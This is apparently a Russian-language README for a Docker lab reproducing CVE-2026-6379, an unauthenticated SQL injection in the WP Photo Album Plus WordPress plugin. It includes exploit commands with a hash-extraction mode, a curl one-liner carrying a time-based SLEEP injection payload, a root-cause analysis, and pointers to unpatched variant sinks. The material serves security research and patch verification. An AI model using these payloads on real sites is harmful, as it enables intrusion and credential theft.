
Docker-лаборатория для CVE-2026-6379 — неаутентифицированной SQL-инъекции в WP Photo Album Plus. Включает time-based blind PoC, анализ первопричины и проверку патча для авторизованных исследований безопасности.
Параметр: wppa-supersearch
Серьёзность: CVSS 8.6 (высокая) по данным WPScan/Wordfence
Исправление вендора: 2026-04-17 (коммит d2b0d05d в зеркале WordPressBugBounty)
Публичное раскрытие: 2026-04-27 (WPScan)
Этот комплект предоставляет вам автономную Docker-лабораторию и рабочий PoC, чтобы вы могли воспроизвести, проверить и объяснить уязвимость от начала до конца.
# На хосте лаборатории:
cd lab && ./setup.sh
# Когда установщик выведет "=== LAB READY ===" с page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Уязвимая цель отвечает за ~5s на SLEEP-проверку; исправленная цель отвечает за .
<1sРучная однострочная проверка:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # этот файл
├── docs/
│ ├── writeup.md # анализ первопричины + исправления
│ └── prompts.md # AI-исследовательские промпты, на основе которых собран этот комплект
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # запуск / остановка / очистка
│ └── init/install.sh # идемпотентный установщик (wp-cli)
└── pocs/
├── exploit.py # time-based blind SQLi (probe / version / user / hash)
└── test_oracle.sh # сквозной интеграционный тест
wppa_get_photos() разбирает параметр запроса wppa-supersearch как
CSV s1,type,s3,DATA. Когда type='o' (Owner), DATA конкатенируется
напрямую в SQL-строку:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Никакого экранирования, никакого $wpdb->prepare. Установка wppa-supersearch=,o,,x' OR (...)-- -
экранирует заключённый в кавычки owner и выполняет произвольный SQL. Конечная точка — это публичная
страница фронтенда, на которой размещён шорткод [wppa], поэтому аутентификация не требуется.
Исправление оборачивает каждый ранее конкатенированный случай в $wpdb->prepare(..., %s).
d2b0d05d)Патч CVE-2026-6379 переписывает шесть отдельных SQL-синков внутри
wppa_get_photos() в wppa-functions.php. Оба режима PoC (probe и
probe-calendar) затрагивают независимые из них; остальные отличаются только формой
полезной нагрузки. Все они неаутентифицированы и доступны через тот же механизм
wppa-occur=N, что и основной синк.
| # | Синк (уязвимая строка) | Параметры триггера | Режим PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (строка 1244) | wppa-supersearch=,o,,… | --mode probe (проверено вживую) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (строка 1237) | wppa-supersearch=,n,,… | не эксплуатируется (slug-фильтр удаляет кавычки) |
| 3 | tag — WHERE tags LIKE '%$d%' (строка 1254) | wppa-supersearch=,g,,… | ограничено wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (строка 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (проверено вживую) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (строка 1368) | wppa-calendar=timestamp&wppa-caldate=… | числовое приведение (intval) — ограничено |
| 6 | calendar modified — то же, что timestamp (строка 1375) | wppa-calendar=modified&wppa-caldate=… | числовое приведение — ограничено |
Строки #4–#6 также удалили висячий фрагмент ORDER BY $order в том же
коммите — см. «Связанное усиление защиты» ниже.
Более широкий аудит wppa-functions.php против той же уязвимой сборки
выявил синки вне патча CVE-2026-6379. Они не являются тем, что
опубликовали WPScan/Wordfence, и не все одинаково эксплуатируемы, но они
задокументированы здесь, чтобы лаборатория была полезна и для поиска вариантов.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — вероятно, отдельная уязвимостьСтатус: присутствует в 9.1.11.001 (после патча). Не устранено коммитом d2b0d05d.
Кандидат на последующий CVE.
%s недопустим для списка IN с разделителями-запятыми (он всегда выдаёт одну
строку в кавычках). Плагин обходит это, оборачивая подготовленный
запрос в stripslashes(), который удаляет то самое экранирование, которое только что добавил
prepare() — повторно открывая инъекцию, если любой элемент списка заражён атакующим.
Репрезентативные вхождения: wppa-functions.php строки 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Поисковый запрос для анализа вариантов:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — частично устраненоПатч удалил ORDER BY $order из синков calendar/IN-клаузы, но оставил
его в других местах. $order устанавливается из состояния плагина во время выполнения (таблица
настроек) — эксплуатируемость требует пути записи в это состояние. Рассматривайте как
усиление защиты.
wp_strip_all_tags() используется как SQL-санитайзер (вариант #4)wp_strip_all_tags удаляет HTML, а не SQL. Везде, где он появляется вокруг
фрагмента SQL в кавычках, этот фрагмент инъектируем. Помимо caldate, проверьте
любое другое значение запроса, которое проходит через эту функцию перед
конкатенацией.
| Состояние | probe | probe-calendar |
|---|---|---|
| Уязвимая (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Исправленная (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Плагин отключён | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Страница без шорткода [wppa] | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Переключение версий на запущенной лаборатории:
# Исправленная:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Повторно запустите probe; результат должен быть отрицательным.
admin / adminadmin — никогда не открывайте доступ из интернета../setup.sh purge (удаляет том базы данных).wppa-functions.php (уязвимая): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (исправленная): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php